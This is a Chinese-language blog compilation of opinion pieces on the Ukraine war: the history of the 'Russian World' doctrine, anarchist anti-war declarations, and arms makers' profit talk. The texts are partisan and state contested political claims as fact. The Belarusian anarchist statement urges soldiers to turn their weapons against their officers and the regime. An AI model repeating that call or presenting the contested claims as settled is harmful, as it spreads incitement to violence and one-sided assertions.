“俄罗斯世界” 的诞生和消亡 - iyouport

乌克兰战争

图片中的文字和超链接，将有助您更容易理解这篇文章。它所讲述的，并不限于俄罗斯……

> 独裁者对移民人口的重视程度超过对其本土人口。你知道这是为什么吗？

📌 如果您错过了我们的 “乌克兰系列” ，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1》
- 《多元化主流 2》
- 《当你处在双面夹击的火力之下 3》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 4》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 5》
- 《俄罗斯的选择，和这一切灾难的根源：乌克兰系列 6》
- 《这一次，不成功便成仁：乌克兰战争 7》
- 《制裁的”作用”是什么？：乌克兰战争 8—从“伦敦格勒”到北京》
- 《从北京到世界：乌克兰战争(9) - 一个危机重重的新全球格局》
- 《乌克兰：超越后苏联时代》

普京在战争前夕向全国发表讲话，称乌克兰是 “我们自己的历史、文化和精神空间的一个组成部分”。从这句话中可以得出一个直接的政治军事结论，即：这个 “精神空间” 的边界必须与俄罗斯国家的地理边界完全吻合。

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

将文化与军队、国家与语言、民族身份与公民身份相联系的想法被称为“俄罗斯世界”的理论，这一理论在过去20年中被克里姆林宫逐步发展，膨胀。今天，这一概念被用来“证明”对乌克兰的战争和剥夺整个民族的生存权的基石。

所谓的“俄罗斯世界”的概念背后究竟是个什么样的故事？它是如何产生的？

“俄罗斯世界”这个短语出现在20世纪90年代，在莫斯科的知识界，作为对俄罗斯身份的广泛文化定义这一需求的回应，它必须不同于其可能的民族主义和复仇主义的定义。

然而，到21世纪初获得了新的含义后，这个词逐渐成为了官方理论的支柱。

2001年10月，在所谓的世界俄罗斯境外同胞大会(Всемирный конгресс соотечественников) 上，普京首次阐述了他对这一理论的理解：“俄罗斯世界”由居住在俄罗斯联邦之外的“数以百万计的讲俄语、思考和感受俄罗斯的人”组成。普京认为 ：隶属“俄罗斯世界”是经过深思熟虑的；这是一个“精神自决的问题”。而且，由于“俄罗斯正在朝着融入全球社会和世界经济的方向稳步前进”，“我们的同胞完全有机会在与 [其] 外国伙伴的建设性对话中帮助他们的祖国”。
「是谁在操纵维基百科？」

从普京的讲话中可以看出，此时此刻，他对那些生活在伦敦、巴黎、或纽约的所谓“感受到俄罗斯”的人比生活在顿巴斯或北哈萨克斯坦的人更感兴趣。

值得回顾的是，2001年是普京与西方的蜜月期。当时俄罗斯支持美国在阿富汗的军事行动，同时正在进行自由主义的经济改革 —— 其中包括旨在吸引外国投资的计划。「去全球化和中国的“纸老虎”」

到目前为止，“俄罗斯世界”指的是富裕的和有影响力的侨民，他们可能成为俄罗斯在全球化世界中的竞争优势。

甚至在那之前的一年，即2000年，与克里姆林宫有联系的政治顾问彼得·谢德罗维茨基就已经将“俄罗斯世界”定义为全球市场上的“文化和人力来源”。支持“俄罗斯世界”的概念是一种混合的“人/技术方法”，谢德罗维茨基将其与塞尔维亚“用武力解决领土和民族文化问题”的模式进行了对比。

到2000年中期，普京的俄罗斯在全球经济中取得了明显的进展，并承担了主要原材料供应国的角色 —— 加强其 “文化来源” 不再是优先事项。同时，2003年格鲁吉亚和2005年乌克兰的 “颜色革命” 的胜利对莫斯科在后苏联地区的政治影响力提出了质疑。

克里姆林宫对与当地精英的非正式网络的依赖显然没有得到回报，而西方的逐渐疏远也需要宣传工作。现在，“俄罗斯世界” 完全由国家的政治利益决定，它追求：周边国家的俄语人口要成为国家影响力的工具，而对俄罗斯历史和文化的同情（在这个特定意义上，也包括对俄罗斯作为苏联继承者的同情）应该被转化为对其国际政治的支持。

为此，在2000年代中期，创建了以下项目：Russkiy Mir 基金会、RT（今日俄罗斯）新闻频道、民主与合作研究所（位于莫斯科的智囊团），尤其是由外交部文化中心支持的新联邦机构（被称为 Rossotrudnichestvo/独联体事务、海外侨民及国际人道合作署）。每个项目都有其行使俄罗斯 “软实力” 的使命。RT专注于 “另类新闻”，挑战西方媒体并以亲克里姆林宫的叙事方式解释当前事件，而 “民主与合作研究所” 则建立了一个保守派专家网络，他们将普京的俄罗斯视为 “欧洲价值观” 的堡垒，反对 “左派自由主义” 和女权主义。

现在，“俄罗斯世界” 不仅适用于讲俄语的国际社会，而且，意味着一套 “价值观” —— 它是根据国家的利益来促进的。正如维拉·阿吉耶娃所说，“俄罗斯世界的安全化” 正在进行中：在这种情况下，文化影响几乎是 “国家安全” 和保护国家免受外部威胁的重要组成部分。

2008年，俄罗斯武装部队副总参谋长亚历山大·布鲁廷对创建 “民主与合作研究所” 的想法表示欢迎，并赞扬其在针对 “人民及其态度” 的信息战中发挥的作用。这就说明了问题。这种解释意味着 “软” 实力和 “硬” 实力之间的边界已经模糊，因为 “俄罗斯世界” 的内容 —— 俄罗斯语言、文化和 “与俄罗斯的联系” 的情感 —— 成为了一种武器，可以在无形的战争中使用。

对克里姆林宫来说，“俄罗斯世界” 只是对西方扩张的一种回应，“西方提出民主选举或人权等概念作为削弱俄罗斯的手段”。因此，事实证明，“价值观” 本身，即无论其内容如何，都不可能有价值，事实上：它们注定会成为国家利益的工具，要么为一个国家服务，要么为另一个国家服务。当俄罗斯境内的人权活动家或反对派成员被宣称为 “西方影响力的代理人” 时，那些在俄罗斯境外认同俄罗斯文化的人应该成为俄罗斯影响力的代理人。

在2014年吞并克里米亚和爆发顿巴斯冲突之后，“俄罗斯世界” 不再

有任何 “软实力” 的痕迹，而是发展成为了一种 “复仇” 的意识形态 —— 一种寻求重新获得国家 “历史领土” 的计划，这些领土即使不是俄罗斯联邦的一部分，也至少是在其政治和军事控制的轨道上。

正如俄罗斯东正教会首领基里尔主教当时解释的那样，“俄罗斯世界” 是 “一种特殊的文明，今天属于它的人们用不同的名字称呼自己 —— 俄罗斯人、乌克兰人或白俄罗斯人”。因此，属于 “俄罗斯世界” 不是个人选择的问题；它是由命运预先决定的 —— 由出身和领土决定的。

根据克里姆林宫战略家弗拉季斯拉夫·苏尔科夫的说法，“俄罗斯世界” 是人们 “珍惜俄罗斯文化、害怕俄罗斯枪支、尊重我们的普京” 的地方。换句话说，成为 “俄罗斯世界” 的一部分意味着要服从普京，承认普京的权威并屈从。没有比这更简洁的公式了，它显示了以前对 “俄罗斯世界” 作为所谓 “软实力” 的概念的完全崩溃。俄罗斯不能仅仅因为它的高雅文化而受到喜爱，因为没有人认为它的社会和政治模式有任何吸引力；但它能够以其军事力量来煽动恐惧。

整整十年来，有多个组织一直在建设这个所谓的 “俄罗斯世界”，但都无济于事。雪上加霜的是，它们都变成了挪用政府分配资金的机制。甚至俄罗斯东正教会现在也在道德上破产了，因为当战争开始时，其在乌克兰的数百万教友直接背弃了它。

然而，“俄罗斯世界” 作为一种 “软实力” 战略的失败，不仅是腐败行为的产物。它源于国家精英们的反民主愿景，他们深信人民（至少是精英们以外的人民）根本无法掌握自己的命运。真正的 “俄罗斯世界” —— 数以百万计的讲俄语的人 —— 并没有被当作平等对话的对象，而是被当作了一种 “资产”；一种需要被管理和使用的资产，以利于国家。

今天，这个 “俄罗斯世界” 实际上是国家发动罪恶战争的人质和受害者。正是讲俄语的乌克兰人在马里乌波尔和哈尔科夫死于俄罗斯的炸弹之下，或者变成了难民。

克里姆林宫的逻辑已经退化为一个可怕的公式。如果 “俄罗斯世界” 不能被征服，它只能被摧毁。这意味着，如果俄罗斯文化和语言有任何未来，它只能在普京的俄罗斯的废墟上崛起。〇

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

"反对所有边界，抵制所有帝国，对抗所有战争" - 东西方冲突中的乌克兰 4️⃣ - iyouport

乌克兰战争

国家和跨国资本之间的冲突，叠加在错综复杂的民族和文化历史之上，塑造了乌克兰危机。

欢迎回来！这里是第4集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1️⃣》
- 《多元化主流 2️⃣》
- 《当你处在双面夹击的火力之下 3️⃣》

本文分为3个部分。

首先是俄罗斯无政府主义者反对俄罗斯侵略乌克兰的声明。

这份声明的原文在这里：*Против аннексий и имперской агрессии*。

2月21日，俄罗斯联邦安全委员会举行了一次特别会议。作为这一戏剧性行为的一部分，普京强迫他最亲密的仆人公开 “要求” 他承认乌克兰东部的卢甘斯克[LPR]和顿涅茨克[DPR]所谓的 “人民共和国” 的独立性。

很明显，这是俄罗斯进一步吞并这些领土的一个步骤—— 不管它在法律上如何正式化（或不正式化）。事实上，克里姆林宫不再认为卢甘斯克和顿涅茨克是乌克兰的一部分，并最终使它们成为其保护国。

首先是承认独立，然后是吞并：这个顺序在2014年的克里米亚就已经制定好了。这一点从纳里什金在会议上的愚蠢保留意见中也可以看出（“是的，我支持这些领土进入俄罗斯联邦”）。

由于会议结果是通过录像[而不是现场]播出的，这些 “保留意见” 没有被剪掉，而是留了下来 —— 其意味显而易见。普京在会议开始时很

挑衅地将手表拿下来，放在自己面前。

我们不想为任何国家出头。我们是无政府主义者，我们反对国家之间的任何边界。但我们也反对这种吞并，因为它只是建立了新的边界，而这一决定完全是由专制领导人—— 弗拉基米尔·普京作出的。这是俄罗斯的帝国主义侵略行径。我们对乌克兰国家不抱任何幻想，但我们很清楚，它不是这个故事中的主要侵略者 —— 这不是两个同等邪恶之间的对抗。首先，这是俄罗斯专制政府试图通过 “小规模的胜战和领土积累”[指伊凡三世]来解决其内部问题的手段。

克里姆林宫政权很可能会在被吞并的土地上上演某种 “公投” 奇观。这样的表演在2014年已经在卢甘斯克和顿涅茨克发生过，但连莫斯科自己都不承认其结果。现在，很明显，普京决定改变这种情况。当然，在这些领土上不可能谈论任何 “自由和私秘的投票”—— 它们在完全依赖莫斯科的军事化帮派的控制之下。那些反对这些帮派、反对与俄罗斯融合的人，要么被杀，要么被迫移居。因此，任何 “关于顿巴斯像失落的船一样返回故乡港口的公投” 的宣称都将是一个彻头彻尾的谎言。只有当所有国家的军队—— 首先是俄罗斯联邦的军队 —— 离开这些领土时，顿巴斯的居民才能够做出决定。

承认和吞并卢甘斯克和顿涅茨克不会给俄罗斯本身的居民带来任何好处。

首先，在任何情况下，这将导致所有生活领域的军事化、俄罗斯在国际上更加孤立、制裁和总体福利的下降。恢复被破坏的基础设施和将 “人民共和国” 纳入国家预算也不是免费的 —— 两者都将花费数十亿卢布，而这些钱本来是可以用于给人民的教育和医药。毫无疑问：俄罗斯寡头们的游艇不会变小，但老百姓的生活会开始变得更差。

第二，与乌克兰的武装对抗可能加剧，这意味着更多的士兵和平民死亡和受伤，更多的城市和村庄被摧毁，更多的流血。即使这场冲突不会升级为一场世界大战，普京的帝国幻想也绝对不值得赔上老百姓一条命。

第三，这将意味着所谓的 “俄罗斯世界” 的进一步蔓延：新自由主义的寡头政治、僵化的中央集权和父权制的帝国宣传的疯狂组合。这一后果并不像香肠价格上涨和对智能手机的制裁那样明显—— 但是，从长远来看，它甚至更加危险。

我们敦促您以任何您认为合适的方式反击克里姆林宫的侵略。反对以任何借口夺取领土，反对向顿巴斯派遣俄罗斯军队，反对军事化。最

终，反对战争。不管是上街游行、传播信息、还是与您周围的人交谈——您知道该怎么做。不要沉默。采取行动吧。即使是一颗小螺丝钉也能干扰死亡机器的齿轮。

反对所有的边界，抵制所有的帝国，对抗所有的战争!

——Autonomous Action

以下文字将对这一局势进行简要的解说。

东西方冲突中的乌克兰

「图」

> 国家和跨国资本之间的冲突，叠加在错综复杂的民族和文化历史之上，塑造了乌克兰危机。

乌克兰再次爆发了俄罗斯和西方之间的争论。在这场冲突中，进步派应该站在哪里？更重要的是，夹在东方和西方之间，乌克兰如何在独立和自决的基础上解决其内部问题？

为了理解今天的情况，我们需要从一点历史开始。

1654年，现代乌克兰的大部分地区被并入沙皇俄国。南部和东部地区于1920年被纳入，而最西部地区在奥匈帝国统治200年后于1940年代纳入。克里米亚于1954年加入，乌克兰作为一个现代国家于1991年诞生，当时全国93%的人通过公投宣布自己为独立国家。

但是，这种支持独立的压倒性投票与对该国现状的各种意见形成了鲜明的对比。乌克兰存在着深刻的分歧，这些分歧来自于历史、语言、身份、文化和宗教等方面的地区划分。

独立和寡头的崛起

「图」

独立后，乌克兰的经济围绕着原材料的出口，如农产品、铁矿石和煤炭。该国的东部地区是工业化的，并与俄罗斯紧密结合。西部地区则更加农业化，并越来越多地着眼于欧洲市场。通过国有企业私有化上台的寡头们几乎没有发展内部市场，而是将数十亿美元输出到海外避税天堂。

与许多国家一样，全球化和2007年的全球经济崩溃给乌克兰带来了巨大的灾难。国内生产总值下降，国家债务增加，数百万人离开该国到俄罗斯和欧盟寻找工作，导致人口下降了13%。这场经济危机和统治阶级的腐败带来了近期的动荡。虽然欧洲和美国的外部干预的确在激起人民的愤怒方面发挥了作用，但**2013**年发生的反叛运动的根源并不是外国操纵，而是内部条件所激发的。

欧洲一体化与民族主义

「图」

在现代全球化经济中，跨国资本家和民族资本家之间的矛盾加剧了。乌克兰的跨国资本家呼吁更深入地融入欧洲经济。这些亿万富翁主张终止对内部市场的保护，以换取欧洲的承认，这将破坏各行业的发展，增加失业率。这一策略遭到了仍然依附于国内经济、缺乏足够资本加入跨国精英的民族资本家的反对。

这一矛盾为2013年的政治动荡奠定了基础，因为维克多·亚努科维奇总统寻求贷款以履行乌克兰暴涨的债务义务。国际货币基金组织（**IMF**）提供的**175**亿美元贷款伴随着跨国资本家青睐的新自由主义“改革”。俄罗斯的**150**亿美元方案不包含此类改革要求，并得到了乌克兰民族资产阶级的支持。

亚努科维奇在这两套方案之间摇摆不定。他的政治基础在该国亲俄罗斯的东部。最后他选择了俄罗斯方案，这激怒了该国西部希望与欧洲加强联系的乌克兰人。这引发了大规模的示威活动，这些示威活动被称为“乌克兰亲欧盟示威运动”（Euromaidan），是以基辅中央广场（Maidan Nezalezhnosti）的名字命名的，抗议活动就发生在这里。内乱加上政府的镇压，双方都变得越来越暴力，有130人确认死亡。到2月，亚努科维奇被迫辞职并逃往俄罗斯。

- 您可以在这里看到这个故事的详细内容《当你处在双面夹击的火力之下》

民主还是新法西斯主义？

「图」

虽然独立广场的大批抗议者主要是自由派的亲西方活动家，但由于缺乏进步的领导，留下了一个真空，由反俄的右翼民族主义者填补，其中许多人庆祝乌克兰法西斯分子在二战中的亲纳粹活动。有了意识形

态上的、有凝聚力的、有积极性的成员，他们能够发挥领导作用。

亚努科维奇被乌克兰较小的寡头之一彼得·波罗申科取代为总统。东部地区的许多人认为这违反了国家选举。一些人从未完全接受1991年与俄罗斯的分裂。出现了一场开始呼吁自治或独立的运动。作为回应，基辅的新政府发动了武装袭击，他们称之为“反恐攻势”，尽管东部的抗议活动与西部的抗议活动的开端并没有什么不同。民族和地区差异被激化。新政府的支持者给东乌克兰人贴上了粗俗、无知和教育程度低的标签。在东部，新政府被描绘成一个法西斯军政府，是对俄罗斯语言和文化权利的威胁。

这场冲突导致了内战。波罗申科组建的政府掌握在亲西方的新自由主义精英手中。但原法西斯主义势力是执政联盟的重要组成部分。声称具有亲纳粹的乌克兰起义军传统的全乌克兰联盟“自由”党在二战中参与了对7万名犹太人和波兰公民的大规模屠杀，该党获得了六个内阁职位。此外，为了帮助镇压东部地区的反叛，还招募了像亚速营这样的极右翼民兵。亚速营举着以前希特勒的党卫军使用的狼牙旗。

在2019年的总统选举中，波罗申科最终被沃洛季米尔·泽连斯基击败。泽连斯基是一名电视真人秀明星，靠反腐运动获得了胜利。但他的人气一直在减弱，他的政权也变得更加专制。他最近禁止了一个反对派新闻网站，并制裁了其编辑。

俄罗斯、克里米亚和当前冲突的根源

「图」

在受到攻击并被贴上“恐怖分子”标签的情况下，乌克兰东部人民组织了武装自卫民兵来对抗西方的军事攻势。但这场战斗并没有停留在内部。俄罗斯的武器和志愿者迅速越过边境，加入战斗。这些志愿者中有许多是反动的泛斯拉夫民族主义者。成为乌克兰顿巴斯地区自称的顿涅茨克人民共和国总理的亚历山大·博罗代(Alexander Borodai)来自一个出版极右翼报纸《Zavtra》的团体。他的叛军指挥官伊戈尔·斯特雷科夫（Igor Strelkov）被称为基督教宗教狂热者。

在侵犯国家主权的情况下，俄罗斯于2014年初入侵克里米亚并最终吞并了该地区。弗拉基米尔·普京坚持认为，如果克里米亚或“新俄罗斯Novorossiya”（由顿巴斯自称的顿涅茨克人民共和国和卢甘斯克人民共和国组成的拟议联盟）的人民想要分离，他们有合法的民主权利这样去做。左翼学者和活动家 **Alexander Buzgalin** 指出了普京的虚伪，因为他剥夺了俄罗斯境内同样希望自决的民族的民主权利。

俄罗斯对克里米亚的入侵和吞并导致了西方的经济制裁。正如俄罗斯学者 Boris Kargarlitsky 所指出的，“我们的精英们在这方面所面临的情况或多或少是直截了当的；他们不可能在不对自己的利益、自己的资本持有量以及自己的网络、统治方法和生活方式进行粉碎性打击的情况下积极与西方对抗”。根据瑞士信贷的数据，俄罗斯的110名亿万富翁控制着全国35%的财富。经济抵制可能已经造成影响。

在西方，《金融时报》的政治编辑吉迪恩·拉赫曼提出了类似的看法：“在现代俄罗斯，政治和商业之间的深刻联系意味着该国最有权势的人往往与西欧的持续繁荣有着直接的个人利益。他们有商业关系需要维护，有投资需要保护，在法国南部有房子，孩子在英国上学 …… 有国际商业利益的人往往不是民族主义者。他们没有能力成为民族主义者”。但这对西方跨国资本家来说也是如此；这种关系是一条跨越边界和民族主义政治的双向道路。损害俄罗斯的经济利益也会损害西方的利益。

虽然制裁造成了伤害，但从长远来看，俄罗斯的战略似乎集中在不让乌克兰加入北约，保护俄罗斯的语言和文化权利，以及与乌克兰经济保持紧密联系上。

北约和俄罗斯在边境的集结

「图」

乌克兰人民在相互竞争的资本主义利益之间的冲突中变成了活靶子。跨国资本家希望一个国家融入欧洲，他们与原法西斯分子联合起来以确保这一方向。扎根于国内经济的资本家支持右翼民族主义者和宗教狂热者以维持其权力。俄罗斯在边境集结军队，要求乌克兰不要加入北约。西方精英们说这应该是由乌克兰人自己决定的事，同时在没有乌克兰代表的情况下与俄罗斯举行会议。但乌克兰人民真正想要的是什么？

弗拉基米尔·伊什琴科最近发表在 LeftEast 上的一篇文章指出，乌克兰人对北约的看法远未统一。他称乌克兰亲欧盟示威运动是一场有缺陷的革命，没有形成任何民族团结，只是让一部分精英寡头受益。乌克兰的中立地位在其宪法中根深蒂固，宪法明确禁止乌克兰加入任何军事集团。事实上，在2014年的事件之前，加入北约只得到了少数人的支持。虽然在俄罗斯吞并克里米亚后，对北约成员资格的支持率跃升至40%，但这可能仍是民众中的少数意见。

伊什琴科进一步指出了支持率上升的原因。其一是俄罗斯的入侵说服

了之前持怀疑态度的乌克兰人寻求保护，以防止俄罗斯进一步的敌对行动。但同时，也许更重要的是，该调查不再包括该国东部最亲俄的乌克兰公民！

是否有前进的道路？

「图」

1917年12月，第一届全乌克兰议会大会宣布成立乌克兰苏维埃共和国。大会与俄罗斯苏维埃联邦社会主义共和国结成紧密联盟，经过长期内战，在1922年成为苏维埃社会主义共和国联盟的创始成员。这些首次由工人领导的革命激励了全世界数百万人。但是，虽然工人阶级取得了巨大的进步，但在这些建设社会主义社会的首次尝试中也出现了严重的错误。乌克兰的社会主义随着1991年苏联的解体而以失败告终。今天要建立一个真正的民主社会主义，需要对导致这一崩溃的内部和外部因素进行严格审查。

在过去的31年里，后苏联时期的乌克兰在解决这75年苏式社会主义时期出现的问题方面几乎没有任何作为。同样，西方的美国和欧盟或东方的普京的俄罗斯的地缘政治演习也不会提供任何答案。乌克兰的问题必须由乌克兰社会的不同部门来解决。

为此，美国左翼必须反对拜登政府将乌克兰纳入北约的任何想法。北约的扩张在提供和平与稳定方面没有什么作用。相反，它进入东欧被视为一种挑衅，加剧了该地区的紧张局势。由女性反抗者领导的草根组织 CODEPINK 致力于结束美国的战争和军事化，该组织发出了一份请愿书，要求北约和美国停止升级乌克兰的冲突。

伊什琴科建议，在俄罗斯入侵克里米亚和大规模战斗后实现停火的《明斯克协议》可能提供一条前进的道路，让亲俄的、分离的乌克兰东部地区与该国其他地区一起参与有关该国未来的决策。但是，并没有任何一个国际机构具有合法性和意愿可以让俄罗斯和北约退出，并将乌克兰所有派别带到谈判桌前。

虽然暂时无法确定什么，但俄罗斯的入侵已经开始，乌克兰内部很可能发生内战。波罗申科最近回到基辅，面对泽连斯基的指控。泽连斯基指控他在担任总统期间叛国并支持恐怖主义，当时他允许从俄罗斯支持的东部分裂主义分子控制的矿场购买煤炭。波罗申科有乌克兰民族主义政治的基础，他正在批评泽连斯基在和平谈判中向俄罗斯让步。

除非乌克兰本土出现一个进步的人民运动，否则就没有什么办法来稳定这个国家并防止流血事件。但考虑到普京的俄罗斯的作用，也许还需要的是布尔什维克称之为“革命失败主义”的策略。吸取过去的教训是所有致力于建立一个更好未来的人们的当务之急。

士兵！敌人在明斯克，而不是基辅！—— 来自白俄罗斯无政府主义者的声明

「图」

普京带着他的帝国野心，威胁要入侵乌克兰。卢卡申科准备支持他的克里姆林宫主子，把白俄罗斯的士兵送到另一个国家去打仗。将爱国主义注入白俄罗斯社会的尝试虽然是过去时了，但过去得悄无声息。现在士兵们将不得不为俄罗斯沙皇而死。

但是，和以前一样，每个士兵都有选择。即使此时此地的选择似乎难度很大。在关键时刻，我们都表现出极大的决心。俄罗斯在乌克兰争夺影响力的战争，绝不是白俄罗斯士兵的战争。独裁者卢卡申科和普京才是白俄罗斯人民、乌克兰人民和俄罗斯人民真正的共同敌人。

独裁者们想把你们像肉一样扔到前线喂狼，以显示那些永远不会出现在这条战线上的统治阶级的力量。勇气和同志精神对统治者及其随行人员来说是完全未知的。

士兵们！你们手中的武器完全可以把你们自己和你们的战友从无用的流血和战争中解放出来！去抵制军官和贪婪的政客。如果有人应该在这场冲突中灭亡，那必需是白俄罗斯的独裁政权和俄罗斯帝国！

为了一个没有战争、没有独裁者和帝国的世界!

——白俄罗斯的无政府主义者

SOLDIER! THE ENEMY IS IN MINSK, NOT KIEV

动员令：反对乌克兰的战争

「图」

这场战争是由俄罗斯精英们的侵权野心所挑起的。他们试图通过声称“国家利益”来掩盖这一点。但是对乌克兰人民和顿巴斯人民的压迫中没有任何给老百姓的利益。我们的利益是和平和体面的工作，而不是

战争。

军事侵略是由俄罗斯联邦的高层发起的。统治阶级让我们人民对这一决定负责。寡头和总统绝对不会承担军事开支的主要负担，他们的孩子绝对不会上前线，他们的工资也不会被通货膨胀和货币贬值所吞噬。你和我才是背负这一切灾难的人。

普京政权今天正在对乌克兰人民进行报复，因为他们不愿意生活在俄罗斯镇压者的靴子下。我们的母亲在流着眼泪等待棺材，炸弹将落在我们乌克兰的兄弟姐妹、工人和女工的头上。现在我们的任务是尽快阻止它。

今天19点，反战行动将在俄罗斯各城市举行，我们的团队 antijob.net 呼吁所有人加入抗议活动。

莫斯科 “要粮食不是炸弹” 组织的声明

「图」

我们永远不会站在这个或那个国家的一边，我们的旗帜是黑色的，我们反对所有边界和所有只会揩油的总统。我们反对所有战争、反对所有对平民的杀戮。

对普京的帝国团伙来说，宫殿、游艇、以及对持异议的俄罗斯人的监禁和酷刑都已经不够，他们还想要通过战争夺取新的领土。结果就是，这些所谓的 “祖国的捍卫者” 入侵乌克兰，轰炸居民区。巨额资金被投入到杀人武器上，而人民却越来越贫困。

老百姓没饭吃，没有地方住，并不是因为没有足够的资源，而是因为资源分配不公：有些人拥有很多宫殿，而其他人连个茅屋都没有。

为了保持和增加他们手中的利益，政府宣布了战争。

谁会亲手从地上捡起自己的肠子？谁会被爆炸撕掉胳膊和腿？谁的家庭会埋葬自己的孩子？当然，绝对不是统治阶级。而是老百姓。

我们必须全力抵抗军国主义政权和它所发动的战争。请在你的朋友中传播信息，尽你所能地战斗。没有战争，只有阶级之战。团结而不是炸弹！

○□

原文

一个 “赚大钱的完美机遇” 🗳 iyouport

乌克兰战争

他们平均每年雇用700名说客，相当于每个国会议员被分配了一个以上的说客……

俄乌之间究竟会不会热战？很多预言家都在下注。

在此我们持续押注目前不会打。为什么？因为不需要热战的情况下，所有各方所需要的东西就都已经满足了。可惜，走火的可能性依然存在，在所有当事人的意料之外。

但是，这场剑拔弩张的煊赫本身所引发的诸多思考，可能比实际的战争更重要。

我们将连续发布3篇文章讲述这些思考。本文是第1篇。

请注意，此事对中国也很重要 —— 您将在阅读完全部3篇文章后理解这个道理。**2022** 年 **1** 月 **21** 日，一名乌克兰军队士兵站在卢甘斯克东部地区佐洛特村附近的前线战壕中检查他的武器。Anatolii Stepanov / AFP Via Getty Images。

在与投资者的通话中，雷神公司和洛克希德-马丁公司吹嘘说，冲突的恶化有助于盈利。

随着美国考虑更多参与乌克兰和俄罗斯之间日益加剧的冲突，世界上一些最大的武器巨头公司 —— 雷神公司和洛克希德-马丁公司 —— 正公开告诉他们的投资者，两国之间的紧张关系对商业有利。与此同时，通用动力(General Dynamics)正在吹嘘该公司过去因这种争端而获得的巨额回报。

这些声明是在美国政府升级对乌克兰的武器运输时发表的，其中包括雷神公司和洛克希德-马丁公司合资的标枪飞弹。与此同时，众议院民主党人正试图迅速推动一项法案，以大幅增加美国对乌克兰的军事援助，并对俄罗斯实施新的制裁。

反战活动家警告说，在乌克兰和俄罗斯之间再次出现紧张局势的情况下，美国的升级武器可能带来可怕的后果，并蔓延到一场更大、更持久的战争。“在我们向乌克兰军队运送先进的武器装备时，拜登政府已经发出信号，美国的军事顾问将继续留在该国”，倡导组织 Demand Progress 的进步派外交政策活动家 Cavan Kharrazian 告诉 InTheseTimes，“谁最有可能建立并教导乌克兰军队如何使用这些武器系统？—— 只有美国军队”。

公开讨论利润增长的人中有雷神公司首席执行官格雷格·海斯。在1月25日参加CNBC的 “Squawk on the Street” 节目时，他被问到：“我们是否有任何东西可以让你们在乌克兰插入8000名美国士兵，以阻止10.3万名俄罗斯士兵？”

在他的回答中，海斯吹捧了该公司在武装美国盟友方面可以发挥的作用。他说，“显然，我们有一些可以提供的防御性武器系统，这可能是有帮助的，比如爱国者导弹系统”。他继续补充说：“我们已经有了帮助这些交战的技术，无论是爱国者系统，还是一些雷达系统。”

海斯建议，雷神公司的武器可以提供一种有助于防止战争的威慑力：“所以我们有一个强大的防御作为威慑，试图防止像这样的事情失去控制。因此，希望我们不会以一场热战告终，如果真的开战了，对双方来说都将是非常昂贵的。”

如果您认为这听起来像是海斯在利用日益紧张的局势为他的公司做广告，这可能并不牵强。在1月25日的财报电话会议上（昆西研究所的尼克·克利夫兰·斯托特在推特上指出了这一点），海斯将 “东欧的紧张局势” 列入了雷神公司可以从中受益的因素。他说：“我们只需回顾下上周我们在阿联酋看到的无人机攻击，这已经成功攻击了他们的一些其他设施。当然，东欧的紧张局势，南中国海的紧张局势，所有这些事情都给那边相关的国防开支带来压力。因此，我完全期望我们（武器制造商）会从中看到一些好处。”

雷神公司并不是唯一的预测者。洛克希德-马丁公司的董事长、总裁和首席执行官吉姆·泰克莱特（Jim Taiclet）也注意到了紧张局势可能对利润的促进。在1月25日的收益电话会议上，他告诉投资者：“如果你看看不断变化的威胁程度和一些国家正在采取的方法，包括朝鲜、伊朗和通过其在也门和其他地方的一些代理人，特别是今天的俄罗斯，最近期，还包括中国，重新出现了大国竞争，确实包括国防和对它的威胁。”

他向投资者建议，这种 “大国竞争” 预示着公司将有更多的业务。泰

克莱特说："而美国的历史是，当这些环境发生变化时，我们不会坐视不管。因此，虽然我无法具体说出一个数字，但我确实认为，威胁正在推进，我们需要有能力应对它。"

根据布朗大学的战争成本项目，这些言论来自一个在华盛顿施加巨大影响的行业的领导者，在过去五年中，他们平均每年雇用700名说客，相当于每个国会议员被分配了一个以上的说客。

雷神公司、洛克希德-马丁公司和通用动力公司也都是有影响力的智囊团 —— 战略与国际研究中心的资助者，该中心一直鼓励美国在俄罗斯入侵的情况下立即采取行动，包括军事行动。

反战组织 "公正外交政策" 的执行董事埃里克·斯珀林（Erik Sperling）告诉 InTheseTimes："华盛顿特区的每个人都知道，武器制造商正在帮助美国政策向军国主义倾斜，但他们通常试图让自己的意图看起来不那么明显"。"在美国向该地区倾注武器时，他们正在利用乌克兰的紧张局势套现。"

与此同时，通用动力公司指出，过去的紧张局势增加了对该公司产品的需求。在1月26日的财报电话会议上，该公司被问到："乌克兰和俄罗斯发生的一切一直是头条新闻。这对你们的国际陆地系统业务，特别是东欧的业务意味着什么？" 首席执行官皮贝·诺瓦科维奇(Phebe Novakovic) 回答说："嗯，一段时间以来，东欧对战车的需求一直处于高位。"

诺瓦科维奇至少明确拒绝猜测未来的利润。"但是"，她继续说，"我必须告诉你，鉴于高度的威胁环境，对东欧相当大的紧张局势和随后对预算的任何影响的猜测只是到建议层面。因此，我们依然对和平解决抱有希望"。

虽然波音公司没有直接提到乌克兰和俄罗斯，但在1月26日的财报电话会议上，执行副总裁兼首席财务官布莱恩·韦斯特说，共和党人和民主党人对高水平军事支出的支持正在帮助武器公司的利润增长。韦斯特说："在国防和太空市场，我们都看到了稳定的需求。我们继续监测美国的联邦预算进程，并已经看到两党对国家安全，包括波音的产品和服务的强烈支持。虽然世界各国政府仍然专注于 Covid-19，但鉴于全球威胁，国防支出仍然是一个优先事项"。

但外交政策活动家 Cavan Kharrazian 警告说："虽然参与善意的、现实的外交对武器制造商来说可能无利可图，但只有这样才能使整个地区受益，并减轻不必要的、可能是灾难性的冲突"。https://

www.patreon.com/posts/e-wu-ju-shi-guan-61754322

在过去的几个月里，在与乌克兰的边界上排队的士兵和军事装备一直在增加。乌克兰人知道普京依靠这些东西来吸引全世界的注意力，因此对这些坦克车队并不重视。到1月底为止，政府的回应相当于告诉世界闭嘴，不要再谈论入侵和战争。

